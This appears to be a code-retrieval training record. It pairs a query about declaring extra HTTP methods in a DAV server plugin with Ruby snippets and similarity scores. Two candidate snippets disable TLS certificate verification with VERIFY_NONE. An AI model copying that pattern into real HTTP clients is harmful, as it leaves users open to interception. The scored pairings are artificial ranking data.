"def passive(target)\n m = []\n\n # HTTP Server Header\n if /^Mirapoint/.match?(target.headers[\"server\"])\n\n m << { name: \"HTTP Server Header\" }\n\n # Version Detection\n if target.headers[\"server\"] =~ /^Mirapoint\\/([^\\s]+)$/\n m << { version: $1.to_s }\n end\n end\n\n # Return passive matches\n m\n end",
"def get_image_features(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'ImageFeatures')\n end",
"def vservers\n @vservers=get_endpoint('vservers').keys\n end"
] |
[
"0.6962645",
"0.6962645",
"0.66653997",
"0.65692395",
"0.63687974",
"0.6288781",
"0.6042794",
"0.6041703",
"0.5943413",
"0.59104997",
"0.58123845",
"0.57798815",
"0.5773977",
"0.5635589",
"0.5611153",
"0.5602541",
"0.55978733",
"0.55978286",
"0.55961347",
"0.5551353",
"0.5518584",
"0.5481016",
"0.5435364",
"0.5433788",
"0.542648",
"0.5419206",
"0.537588",
"0.53644246",
"0.5361043",
"0.5338347",
"0.5321998",
"0.5303912",
"0.52985984",
"0.5297823",
"0.52896136",
"0.52538794",
"0.52456856",
"0.5228703",
"0.52286816",
"0.52174824",
"0.52013826",
"0.5200742",
"0.51935077",
"0.51699406",
"0.5168968",
"0.5159429",
"0.5125709",
"0.5120436",
"0.5077446",
"0.5055835",
"0.5048828",
"0.50485456",
"0.5043756",
"0.5014998",
"0.5005439",
"0.49907872",
"0.49853763",
"0.49794373",
"0.49790007",
"0.49738216",
"0.4951028",
"0.49491405",
"0.49443868",
"0.49443868",
"0.49374095",
"0.49361828",
"0.4935858",
"0.49349698",
"0.4930139",
"0.49259153",
"0.49252018",
"0.49216762",
"0.49214163",
"0.4912307",
"0.49011776",
"0.48974937",
"0.48950264",
"0.48946306",
"0.48899463",
"0.48801515",
"0.4878626",
"0.4867607",
"0.48623163",
"0.4860459",
"0.48528716",
"0.48494536",
"0.48413396",
"0.4833534",
"0.48253712",
"0.48253036",
"0.482485",
"0.48168826",
"0.48085752",
"0.4805902",
"0.48057878",
"0.47969747",
"0.47967947",
"0.4793651",
"0.47867998",
"0.4783594"
] |
0.54884017
|
21
|
Use this method to tell the server this plugin defines additional HTTP methods. This method is passed a uri. It should only return HTTP methods that are available for the specified uri.
|
def http_methods(_path)
[]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def http_methods\n reload if executed_requests['GET'].nil? || executed_requests['GET']['headers'].nil? || executed_requests['GET']['headers'].empty?\n (executed_requests['GET']['headers']['Allow'] || \"GET\").split(/,\\s*/)\n end",
"def parse_http_methods!(req)\n if (method = req.params['_method'])\n if ['delete', 'put', 'patch'].include?(method.downcase)\n req.env['REQUEST_METHOD'] = method.upcase\n end\n end\n end",
"def allowed_methods( path_components )\n\t\ttype = path_components.empty? ? :collection : :single\n\t\tallowed = HTTP_METHOD_MAPPING[ type ].keys.\n\t\t\tfind_all {|msym| self.respond_to?(msym) }.\n\t\t\tinject([]) {|ary,msym| ary << HTTP_METHOD_MAPPING[type][msym]; ary }\n\n\t\tallowed += ['HEAD'] if allowed.include?( 'GET' )\n\t\treturn allowed.uniq.sort\n\tend",
"def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end",
"def add_request meth, uri\n props = {\n MrBelvedere::Fields::HTTP_METHOD => meth.to_s.downcase,\n MrBelvedere::Fields::REQUEST_URI => uri.to_s,\n MrBelvedere::Fields::CURRENT_TIME => Familia.now\n }.merge @props\n requests.unshift props # add to the end so we can read in reverse-chronological\n end",
"def perform_request(method,uri)\n url = BASE_URL + uri\n HTTParty.send(method,url)\n end",
"def http_method(value = nil, &block)\n __define__(:http_method, value, block)\n end",
"def custom_request(verb, uri, params = {}, env = {}, &block)\n uri = parse_uri(uri, env)\n env = env_for(uri, env.merge(method: verb.to_s.upcase, params: params))\n process_request(uri, env, &block)\n end",
"def http_method(request)\n raise NotImplementedError\n end",
"def http_method(request)\n raise NotImplementedError\n end",
"def http_method(v)\n endpoint_info[:http_method] = v\n end",
"def handlers\n HTTP_METHODS.map do |sym|\n [sym, send(sym)]\n end\n end",
"def merge_http_methods!(methods)\n self.http_methods |= methods\n end",
"def http_get(path)\n http_methods(path, :get)\n end",
"def requested_method\n\t\t\t\t# respond to websocket special case\n\t\t\t\treturn :pre_connect if request.upgrade?\n\t\t\t\t# respond to save 'new' special case\n\t\t\t\treturn (self.class.has_method?(:save) ? :save : false) if (request.request_method =~ /POST|PUT|PATCH/i.freeze) && (params[:id].nil? || params[:id] == 'new'.freeze)\n\t\t\t\t# set DELETE method if simulated\n\t\t\t\trequest.request_method = 'DELETE'.freeze if params[:_method] && params[:_method].to_s.downcase == 'delete'.freeze\n\t\t\t\t# respond to special :id routing\n\t\t\t\tparams[:id].to_s.downcase.to_sym.tap { |met| return met if self.class.has_exposed_method?(met) } if params[:id]\n\t\t\t\t#review general cases\n\t\t\t\tcase request.request_method\n\t\t\t\twhen 'GET'.freeze, 'HEAD'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:index) ? :index : false) unless params[:id]\n\t\t\t\t\treturn (self.class.has_method?(:show) ? :show : false)\n\t\t\t\twhen 'POST'.freeze, 'PUT'.freeze, 'PATCH'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:update) ? :update : false)\n\t\t\t\twhen 'DELETE'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:delete) ? :delete : false)\n\t\t\t\tend\n\t\t\t\tfalse\n\t\t\tend",
"def http_method(value = nil)\n if value\n @http_method = value\n else\n @http_method\n end\n end",
"def non_get_methods\n [:post, :put, :delete]\n end",
"def http_method\n METHODS[self[:method]]\n end",
"def http_methods(path, http_verb, data = '', content_type = 'application/json')\n uri = URI(path.to_s)\n headers = {\n 'Content-Type' => 'application/json'\n }\n case http_verb\n when :get\n http_method = Net::HTTP::Get.new(uri, headers)\n http = Net::HTTP.new(uri.host, uri.port)\n return http.request(http_method)\n # return Net::HTTP.get(uri)\n when :put\n http_method = Net::HTTP::Put.new(uri, headers)\n when :post\n http_method = Net::HTTP::Post.new(uri, headers)\n when :delete\n http_method = Net::HTTP::Delete.new(uri, headers)\n else\n # Throw / log exception\n end\n # Request with body for Post/Put verbs and return response\n http_method.body = data.to_json unless data.nil?\n http = Net::HTTP.new(uri.host, uri.port)\n http.request(http_method)\n end",
"def http_method\n\t\t\t\treturn @http_method if defined?(@http_method)\n\n\t\t\t\tmethod_from_method =\n\t\t\t\t\tbegin\n\t\t\t\t\t\tparams['_method']\n\t\t\t\t\trescue ArgumentError => e\n\t\t\t\t\t\t## https://github.com/rack/rack/issues/337#issuecomment-48555831\n\t\t\t\t\t\traise unless e.message.include?('invalid %-encoding')\n\t\t\t\t\tend\n\n\t\t\t\t@http_method = (method_from_method || request_method).upcase.to_sym\n\t\t\tend",
"def add_rest_method(name, uri, verb, parameters, output)\n @lines ||= []\n _add_cell(name)\n _add_cell(uri)\n _add_cell(verb)\n _add_cell(_format_rest_value(parameters))\n _add_cell(_format_rest_value(output))\n @lines.push \"|-\"\n end",
"def supported_methods\n return @supported_methods if @supported_methods\n help_response = request(:help)\n mm = help_response.split(\"\\n\").select { |l| l =~ /^\\w+(\\s|$)/ }\n @supported_methods = mm.map { |l| l.split(' ').first }.map(&:to_sym)\n end",
"def http(method, url, options = {}, &block)\n case method.to_s.downcase\n when *%w(get put head post delete options patch)\n send method, url, options, &block\n else\n raise \"Invalid method: #{method}\"\n end\n end",
"def method(method = nil)\n return @method unless method\n case method\n when :get, :post, :put, :delete\n @method = method\n else\n raise \"Unknown HTTP method :#{method}.\"\n end\n end",
"def request(verb, uri, opts = T.unsafe(nil)); end",
"def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end",
"def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend",
"def get?\r\nHTTP_METHOD_LOOKUP[request_method] == :get\r\nend",
"def mt_supportedMethods(*args)\n rpc_response(\"xml.value { xml.array {xml.data { xml.value { xml.string 'metaWeblog.getRecentPosts' } \\n xml.value { xml.string 'metaWeblog.newPost' } }}} \")\n end",
"def parse_routes!\n allowed_routes.each do |route|\n if (endpoint = endpoints.find_from_route(route))\n endpoint.merge_http_methods!(route[:http_methods])\n else\n controller = controllers.find_or_create_from_route(route)\n endpoint = endpoints.create_from_route(route, controller)\n\n controller.add_endpoint(endpoint)\n end\n end\n end",
"def rest_routes\n\t\t\t\t\t[\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :index },\n\t\t\t\t\t\t{ method: :POST, path: '/', action: :create },\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :show },\n\t\t\t\t\t\t{ method: :PUT, path: '/', action: :update },\n\t\t\t\t\t\t{ method: :DELETE, path: '/', action: :delete }\n\t\t\t\t\t]\n\t\t\t\tend",
"def probe_api_path(uri, path)\n uri = URI.join(uri, path)\n request = RestClient::Resource.new(uri.to_s, :verify_ssl => OpenSSL::SSL::VERIFY_NONE)\n begin\n request.get\n rescue RestClient::Exception => exception\n response = exception.response\n logger.error \"#{self.class.name}#probe_api_path: exception probing uri: '#{uri}'. Exception: #{$ERROR_INFO}\"\n return false if response.nil?\n if response.code == 401\n www_authenticate = response.headers[:www_authenticate]\n if www_authenticate =~ /^Basic realm=\"?(RESTAPI|ENGINE)\"?$/\n return true\n end\n end\n end\n false\n end",
"def method_missing_with_named_uri_setting(method_name, *args, &block)\n if uri_name = method_name.to_s[/.*(?=_uri=$)/] and 1 == args.size\n @uris[uri_name.to_sym] = args.first\n else\n method_missing_without_named_uri_setting(method_name, *args, &block)\n end\n end",
"def get(uri, request_headers)\n raise NotImplementedError\n end",
"def get(uri)\n raise \"Must be overridden\"\n end",
"def http_method\n @parser.http_method\n end",
"def routes_method\n @routes_method ||= Proc.new do\n base_application.routes.routes.map do |route|\n next unless route.defaults.has_key?(:controller) &&\n controller_const = \"#{route.defaults[:controller]}_controller\"\n .classify\n .constantize rescue nil\n\n http_methods = (\n route.verb.is_a?(Regexp) ?\n route.verb.inspect.gsub(/[\\/\\$\\^]/, '') :\n route.verb\n ).split(\"|\")\n\n {\n alias: route.name,\n path: route.path.spec.to_s,\n controller_name: route.defaults[:controller],\n controller: controller_const,\n action: route.defaults[:action],\n http_methods: http_methods\n }\n end.compact\n end\n end",
"def try_route\n\t\t\t\thttp_method = request.http_method\n\t\t\t\thttp_method = :GET if http_method == :HEAD\n\t\t\t\treturn unless available_endpoint\n\n\t\t\t\troute = available_endpoint[http_method]\n\t\t\t\treturn unless route || available_endpoint.allow\n\n\t\t\t\thalt(405, nil, 'Allow' => available_endpoint.allow) unless route\n\t\t\t\tstatus 200\n\t\t\t\texecute_route route\n\t\t\t\ttrue\n\t\t\tend",
"def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end",
"def request_method(verb)\n Net::HTTP.const_get(verb.to_s.capitalize)\n end",
"def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end",
"def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end",
"def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end",
"def uri! uri, verb, http_version\n rv = Wrapper.msc_process_uri txn_ptr, (strptr uri), (strptr verb), (strptr http_version)\n rv == 1 or raise Error \"msc_process_uri failed for #{[uri, verb, http_version].inspect}\"\n\n intervention!\n end",
"def methods\n main_service.methods.select(&:can_generate_rest?)\n end",
"def http_method\n @http_method ||= @options[:http_method] || :post\n end",
"def respond_to?(method, include_private = false)\n (actions(current_api).include? method) ? true : super\n end",
"def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end",
"def fetch(uri, method = T.unsafe(nil), headers = T.unsafe(nil), params = T.unsafe(nil), referer = T.unsafe(nil), redirects = T.unsafe(nil)); end",
"def respond_to_missing?(method, include_private = true)\n method.to_s.end_with?(ACTION_SUFFIX) || super\n end",
"def any(path, &block)\n route 'GET', path, &block\n route 'POST', path, &block\n end",
"def method_missing(method_name, *args)\n # TODO: Add permission checking for all updates to the model\n # TODO: Add permission checking for read access?\n \n update = method_name.to_s[-1..-1] == '='\n \n shortcut = if update \n method_name.to_s[0..-2]\n else\n method_name.to_s\n end\n\n # Otherwise, check for the RDF predicate\n registered = N::URI[shortcut.to_s]\n \n return super(method_name, *args) unless(registered) # normal handler if not a registered uri\n raise(ArgumentError, \"Must give a namspace as argument\") unless(registered.is_a?(N::Namespace))\n \n DummyHandler.new(registered, self)\n end",
"def route\n \"#{@http_verb.to_s.upcase} #{@url}\"\n end",
"def respond_to?(method, include_all = false)\n if method.to_s.end_with?('_path', '_url')\n if main_app.respond_to?(method)\n true\n else\n super\n end\n else\n super\n end\n end",
"def http_method\n return @discovery_document['httpMethod'] || 'GET'\n end",
"def method_missing(method_name, *args)\n # TODO: Add permission checking for all updates to the model\n # TODO: Add permission checking for read access?\n\n update = method_name.to_s[-1..-1] == '='\n\n shortcut = if update \n method_name.to_s[0..-2]\n else\n method_name.to_s\n end\n\n # Otherwise, check for the RDF predicate\n registered = N::URI[shortcut.to_s]\n\n return super(method_name, *args) unless(registered) # normal handler if not a registered uri\n raise(ArgumentError, \"Must give a namspace as argument\") unless(registered.is_a?(N::Namespace))\n\n DummyHandler.new(registered, self)\n end",
"def getHttp(fpUri,fpVerb=\"GET\",fpData=\"\")\n\t#@fpUserAgent = \"CMU/2.2 CFNetwork/672.0.8 Darwin/14.0.0\"\n\t@fpUserAgent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0\"\n\n\thttp = Net::HTTP.new(fpUri.host, fpUri.port)\n\n\tcase fpUri.scheme.upcase\n\t\twhen \"https\".upcase\n\t\t\thttp.use_ssl = true\n\t\t \t# For signature checks it doesn't matter if a valid certificate is present.\n\t\t \thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE if fpUri.scheme.upcase == \"https\".upcase\n\t\telse\n\t\tend\n\n\tcase fpVerb.upcase\n\t\twhen \"Get\".upcase\n\t\t\t# For now forcing encoding to text as some devices being tested have broken compression implemented.\n\t\t\trequest = Net::HTTP::Get.new(fpUri,initheader = {'Accept-Encoding' => 'gzip, default, br', 'User-Agent' => @fpUserAgent}) if fpVerb.upcase == \"Get\".upcase\n\t\t\t# request = Net::HTTP::Get.new(fpUri) if fpVerb.upcase == \"Get\".upcase # Default Header\n\t\t\t\n\t\t\tputs \"GET #{fpUri}\"\n\n\t\twhen \"Post\".upcase\n\t\t\trequest = Net::HTTP::Post.new(fpUri.request_uri) if fpVerb.upcase == \"Post\".upcase\n\t\t\trequest.set_form_data(fpData) if fpVerb.upcase == \"Post\".upcase\n\t\t\n\t\telse\n\t\t\trequestFail = true\n\t\tend\n\n\tresponse = http.request(request) if !requestFail\n\treturn response\nend",
"def initialize(method, uri, body: nil, headers: nil, opts: {})\n @tag = 0\n method = method.downcase.to_sym\n unless method == :get || method == :put || method == :post || method == :delete\n raise ArgumentError, \"Invalid method #{method} for request : '#{uri}'\"\n end\n self.method = method\n self.path = uri\n self.body = body\n self.headers = headers || {}\n self.opts = opts || {}\n end",
"def request_type(http_method = nil)\n (http_method || @verb).to_s.upcase\n end",
"def rack_method_override!(options, *methods)\n if methods.include?(options[:method])\n options[:request_headers] ||= {}\n options[:request_headers][\"X-Http-Method-Override\"] = options[:method]\n options[:method] = :post\n end\n end",
"def method_symbol\r\nHTTP_METHOD_LOOKUP[method]\r\nend",
"def http_method\n raise \"Implement in child class\"\n end",
"def respond_to_missing?(method_name, include_private = false)\n method_name.to_s.end_with?('_server', '_server?') || super\n end",
"def allowed_method(method=nil)\n if method.class == Symbol && !block_given?\n @j_del.java_method(:allowedMethod, [Java::IoVertxCoreHttp::HttpMethod.java_class]).call(Java::IoVertxCoreHttp::HttpMethod.valueOf(method))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling allowed_method(method)\"\n end",
"def normalized_request_method\n method = @env[\"REQUEST_METHOD\"]\n method == 'HEAD' ? 'get' : method.downcase\n end",
"def handle_request(method, path, opts={})\n Amfetamine.logger.warn \"Making request to #{path} with #{method} and #{opts.inspect}\"\n case method\n when :get\n response = rest_client.get(path, opts)\n when :post\n response = rest_client.post(path, opts)\n when :put\n response = rest_client.put(path, opts)\n when :delete\n response = rest_client.delete(path, opts)\n else\n raise UnknownRESTMethod, \"handle_request only responds to get, put, post and delete\"\n end\n parse_response(response)\n end",
"def custom_routes; end",
"def matches_directly?(request_path, http_method)\n @paths.path[request_path]&.operation(http_method)\n end",
"def request_method\r\n@request_method ||= check_method(env[\"REQUEST_METHOD\"])\r\nend",
"def request_method\n @request_method || :get\n end",
"def request_method_symbol\r\nHTTP_METHOD_LOOKUP[request_method]\r\nend",
"def method_missing(method, *params, &block)\n @endpoint_parts << method.to_s\n\n @endpoint_parts << params\n @endpoint_parts = @endpoint_parts.flatten!\n\n block&.call\n\n self || super\n end",
"def request_method_symbol; end",
"def http_method\n return if request_response_pairs.empty?\n request_response_pairs.first.first.request_method\n end",
"def respond_to_missing?(method, include_all = false)\n handles?(method) || super(method, include_all)\n end",
"def matches?(req)\n req.path =~ pattern && req.request_method.to_s.upcase == http_method\n end",
"def method\n @headers[\"REQUEST_METHOD\"].downcase.to_sym\n end",
"def provides_for(prefix)\n return [] unless @exposed\n @exposed.select do |meth|\n if instance_methods.include?(meth.to_s) or instance_methods.include?(meth.to_sym)\n true\n else\n RightLinkLog.warn(\"Exposing non-existing method #{meth} in actor #{name}\")\n false\n end\n end.map {|meth| \"/#{prefix}/#{meth}\".squeeze('/')}\n end",
"def matches?(req)\n req.path =~ pattern && http_method == req.request_method.downcase.to_sym\n end",
"def http_method(request)\n request.request_method\n end",
"def method_missing(method_sym, *args)\n if method_sym.to_s =~ /block|bookmark|([a-z]+[A-Z][A-z]+)/\n if_active(method_sym, args)\n elsif HEADERS.include?(header = method_sym.to_s.upcase.gsub(\"_\",\"\"))\n @request.env[\"HTTP_EVE_#{header}\"]\n else\n super\n end\n end",
"def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end",
"def method_missing(method_name, *args)\n payload = Kauplus::Client.authenticate_payload(args.first)\n if method_name.match(/(get|post|multipart_post|put|delete|head)_(.*)/)\n Kauplus::Client.send($1, \"#{@resource}/#{$2}\", payload)\n else\n Kauplus::Client.get(\"#{@resource}/#{method_name}\", payload)\n end\n end",
"def method_missing method, *args, &block\n method.to_s.end_with?('_path', '_url') and main_app.respond_to?(method) ? main_app.send(method, *args) : super\n end",
"def request_method; end",
"def send_get(uri)\n _send_request('GET', uri, nil)\n end",
"def http_query(verb, uri, opts)\n JSON.parse RestClient.send(verb, uri.to_s, opts)\n end",
"def method_missing(meth, *args)\n hyves_method = meth.to_s.gsub('_', '.')\n options = {:ha_method => hyves_method}\n options.merge!(args.first) if args.first.is_a?(Hash)\n hyves_log('Hyves', \"Sent request: #{options.inspect}\")\n response = request(options)\n hyves_log('Hyves', \"Got response: #{response.inspect}\")\n return response\n end",
"def respond_to?(method)\n return true if !enabled? || soap_actions.include?(method)\n super\n end",
"def respond_to?(method, include_private=false)\n route_macro = self.class.macros[method]\n if route_macro.nil?\n super\n else\n true\n end\n end",
"def http_method\n :get\n end",
"def method_missing(method, *args)\n if (service = method.to_s.match(/^(ip|vlm|dns)_(site|subnet6?|pool6?|address6?|alias6?|domain|range|vlan|server|view|zone|rr)_(add|update|info|list|delete|count)$/))\n r_module, r_object, r_action = service.captures\n\n if (@servicemapper.has_key?(service.to_s))\n r_mapped_service = @servicemapper[service.to_s][0]\n end\n\n # case r_action with add, update, list, delete, count to set r_method\n case r_action\n when 'add'\n r_method = 'post'\n when 'update'\n r_method = 'put'\n when 'delete'\n r_method = 'delete'\n else\n r_method = 'get'\n end\n\n self.call(r_method, r_mapped_service, args)\n else\n super\n end\n end",
"def create_request(method, uri, data = nil)\r\n method = method.upcase\r\n if(method == 'GET')\r\n return Net::HTTP::Get.new(uri)\r\n elsif(method == 'POST')\r\n request = Net::HTTP::Post.new(uri)\r\n request.body = data.to_json\r\n return request\r\n elsif(method == 'PUT')\r\n request = Net::HTTP::Put.new(uri)\r\n request.body = data.to_json\r\n return request\r\n elsif(method == 'DELETE')\r\n return Net::HTTP::Delete.new(uri)\r\n else\r\n raise CLXException, 'Unknown HTTP method'\r\n end\r\n end",
"def method\n options[:method] || :get\n end",
"def define_routable_methods router_class\n define_method router_class.route_name_method_name do \n router_class.route_name self\n end\n \n define_method router_class.url_method_name do \n router_class.url self\n end\n \n define_method router_class.path_method_name do \n router_class.path self\n end\n end",
"def call(env)\n route = @routes.map do |exp, meta|\n next unless matches = env[\"PATH_INFO\"].match(exp)\n meta.merge(captures: matches)\n end.compact.first\n\n return Yokunai::ErrorsController.new(env).not_found unless route\n\n request_method = env[\"REQUEST_METHOD\"]\n if route[:methods].include?(request_method)\n Object.const_get(route[:class])\n .new(env, route[:captures])\n .public_send(request_method.downcase)\n else\n Yokunai::ErrorsController.new(env).unsupported_method\n end\n end",
"def request(verb, uri, headers = {}, body = [])\n uri = URI(uri)\n uri.scheme ||= @config[:ssl] ? 'http' : 'https'\n uri.host ||= @config[:host]\n uri.port ||= @config[:port]\n\n headers['Host'] ||= \"#{uri.host}:#{uri.port}\"\n\n request = Hatetepe::Request.new(verb, URI(uri.to_s), headers, body)\n self << request\n EM::Synchrony.sync(request)\n end",
"def method_missing(method, *args, &block)\n if (method.to_s.end_with?('_path') || method.to_s.end_with?('_url')) && main_app.respond_to?(method)\n main_app.send(method, *args, &block)\n else\n super\n end\n end",
"def robots_allowed?(uri); end",
"def respond_to?(method)\n return super unless part(method)\n part(method)\n end"
] |
[
"0.6038416",
"0.5975979",
"0.58222145",
"0.5746334",
"0.57386875",
"0.57345146",
"0.57337415",
"0.5721152",
"0.57161534",
"0.57161534",
"0.56956637",
"0.56931037",
"0.56319016",
"0.5613789",
"0.5595842",
"0.55587375",
"0.55545336",
"0.55020386",
"0.5484724",
"0.54841757",
"0.5407407",
"0.53828704",
"0.5377253",
"0.5359191",
"0.53509223",
"0.5337674",
"0.5337632",
"0.53331554",
"0.5330568",
"0.53289306",
"0.53056216",
"0.53025216",
"0.5301475",
"0.52881473",
"0.52684027",
"0.5260291",
"0.52406216",
"0.52358663",
"0.52257156",
"0.52092624",
"0.51813537",
"0.51813537",
"0.5174337",
"0.5163889",
"0.5145514",
"0.5143984",
"0.5136395",
"0.5128648",
"0.5125297",
"0.51073647",
"0.51066977",
"0.50943047",
"0.5088094",
"0.50851667",
"0.5074245",
"0.5073778",
"0.5072145",
"0.5071872",
"0.5066316",
"0.5065839",
"0.50601983",
"0.505606",
"0.50499105",
"0.50494057",
"0.50287604",
"0.50206244",
"0.499373",
"0.49793887",
"0.49660847",
"0.49620596",
"0.4960551",
"0.49597573",
"0.4952522",
"0.49518952",
"0.49419987",
"0.4940042",
"0.4934421",
"0.49338874",
"0.4922434",
"0.49069315",
"0.490577",
"0.4890507",
"0.48839784",
"0.48773903",
"0.4875616",
"0.487537",
"0.48706257",
"0.4868087",
"0.4866251",
"0.48606586",
"0.4852963",
"0.48521024",
"0.4849978",
"0.48465633",
"0.48457715",
"0.4840306",
"0.483062",
"0.48298472",
"0.48248753",
"0.48192343"
] |
0.6450332
|
0
|
Returns a plugin name. Using this name other plugins will be able to access other plugins using \Sabre\DAV\Server::getPlugin
|
def plugin_name
self.class.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def plugin_name\n name.split('::').last.underscore.to_sym\n end",
"def plugin_name\n @plugin_name ||= instance[:name]\n end",
"def plugin_name\n instance[:name]\n end",
"def plugin_name\n @@name || self.class.name\n end",
"def plugin_name\n s = @event.at('@pluginName').inner_text\n\n @plugin_name ||= if s.empty?\n false\n else\n @event.at('@pluginName').inner_text\n end\n\n return @plugin_name\n end",
"def plugin_name(path)\r\n File.basename(path)\r\n end",
"def name\n self.class.name.split(\"Ohai::NamedPlugin::\")[1].to_sym\n end",
"def translate_plugin_name(name); end",
"def plugin_name_from_path(path)\n path = Pathname.new(path).expand_path.cleanpath\n each do |plugin|\n if path.to_s =~ /^#{plugin.root}/\n return plugin.name\n end\n end\n nil\n end",
"def plugin_type\n\t\tbase = Pluggability.plugin_base_class( self ) or\n\t\t\traise PluginError, \"Couldn't find plugin base for #{self.name}\"\n\n\t\tif base.name =~ /^.*::(.*)/\n\t\t\treturn $1\n\t\telse\n\t\t\treturn base.name\n\t\tend\n\tend",
"def plugin(name)\n @plugins[name]\n end",
"def plugin_human_name\n @plugin_human_name ||= \"#{provider_name.titleize} Provider\"\n end",
"def get_plugin(name)\n raise \"Unknown plugin: #{ name }\" unless Capistrano::EXTENSIONS.keys.include?(name)\n self.send(name)\n end",
"def parsed_plugin_filename\n return new_resource.plugin_filename if new_resource.plugin_filename\n if new_resource.plugin_url\n File.basename(URI(new_resource.plugin_url).request_uri)\n elsif new_resource.type == 'agent.plugin'\n raise \"You must specify at least a :plugin_filename for #{new_resource.name}\"\n end\n end",
"def plugin\n server.plugin(plugin_id)\n end",
"def custom_plugin_name(conf_element)\n if KNOWN_PLUGINS.key?(conf_element.name) &&\n KNOWN_PLUGINS[conf_element.name].include?(conf_element['@type'])\n \"#{conf_element.name}/#{conf_element['@type']}\"\n else\n conf_element.name.to_s\n end\n end",
"def plugin_name\n 'browser'\n end",
"def plugin_path\n ::LittlePlugger.default_plugin_path(self)\n end",
"def plugin_names\n @plugin_names ||= []\n end",
"def plugin(name); end",
"def plugin_name\n 'core'\n end",
"def get_plugin(name); Ricer::Plugin.by_name(name); end",
"def plugin_name\n 'auth'\n end",
"def gem_name\n \"#{@account}-#{@name}\"\n end",
"def [](name)\n\t\traise Disbatch::NoPluginError unless @plugins.has_key?(name)\n\t\t@plugins[name]\n\tend",
"def default_plugin_name(conf_element)\n case conf_element['@type']\n when 'syslog'\n \"#{conf_element.name}/syslog/#{conf_element['protocol_type']}\"\n when 'tail'\n \"#{conf_element.name}/tail/#{File.basename(conf_element['pos_file'], '.pos')}\"\n else\n \"#{conf_element.name}/#{conf_element['@type']}\"\n end\n end",
"def get_plugins_names(iCategoryName)\n return @Plugins.get_plugins_names(iCategoryName)\n end",
"def names\n plugins.reduce({}) do |hash, plugin|\n hash[plugin.name] = plugin\n hash\n end\n end",
"def generate\n name_plugin\n end",
"def get_module_name\n return :core_plugins\n end",
"def plugin_module\n ::LittlePlugger.default_plugin_module(plugin_path)\n end",
"def plugin_name\n 'caldav-sharing'\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'The Core plugin provides a lot of the basic functionality required by WebDAV, such as a default implementation for all HTTP and WebDAV methods.',\n 'link' => nil\n }\n end",
"def plugin\n ActiveRecord::Base.quote_value(plugin_name)\n end",
"def plugin_name\n 'caldav'\n end",
"def get_module_name( class_name )\n\t\tif class_name =~ /\\w+#{self.plugin_type}/\n\t\t\tmod_name = class_name.sub( /(?:.*::)?(\\w+)(?:#{self.plugin_type})/, \"\\\\1\" )\n\t\telse\n\t\t\tmod_name = class_name\n\t\tend\n\n\t\treturn mod_name\n\tend",
"def translate_plugin_names; end",
"def plugin_id; end",
"def name\n @grpc.name.split(\"/\")[5]\n end",
"def title\n ::I18n.translate(['refinery', 'plugins', name, 'title'].join('.'))\n end",
"def plugin_root\n \"vendor/plugins/#{plugin_name}\"\n end",
"def registered_plugin_names\r\n configuration.plugins ? configuration.plugins.map(&:to_s) : nil\r\n end",
"def get_plugin_file(pname)\n plugindir = Dir.new(\"#{$pwd}/plugins\")\n pname += '.rb' unless pname.end_with? '.rb'\n plugindir.each do |filename|\n return \"#{plugindir.path}/#{filename}\" if pname.casecmp(filename).zero?\n end\n end",
"def plugin_name\n 'imip'\n end",
"def plugin_name\n 'sync'\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Generic authentication plugin',\n 'link' => 'http://sabre.io/dav/authentication/'\n }\n end",
"def plugin_host host = nil\n if host.is_a? PluginHost\n const_set :PLUGIN_HOST, host\n end\n self::PLUGIN_HOST\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Generates HTML indexes and debug information for your sabre/dav server',\n 'link' => 'http://sabre.io/dav/browser-plugin/'\n }\n end",
"def plugin_module(plugin)\n module_name = plugin.to_s.gsub(/(^|_)(.)/) {|x| x[-1..-1].upcase}\n unless Voom::Presenters::Plugins.const_defined?(module_name, false)\n trace {\"Method plugin loading plugin: #{plugin}\"}\n load \"voom/presenters/plugins/#{plugin}.rb\"\n end\n Voom::Presenters::Plugins.const_get(module_name)\n end",
"def name\n @gapi[\"friendlyName\"]\n end",
"def load_plugin(name); end",
"def get_plugin_class(m, pname)\n m.bot.plugins.each do |plugin|\n return plugin if pname.casecmp(plugin.class.plugin_name).zero?\n end\n end",
"def name\n @provider[:name]\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for caldav-sharing.',\n 'link' => 'http://sabre.io/dav/caldav-sharing/'\n }\n end",
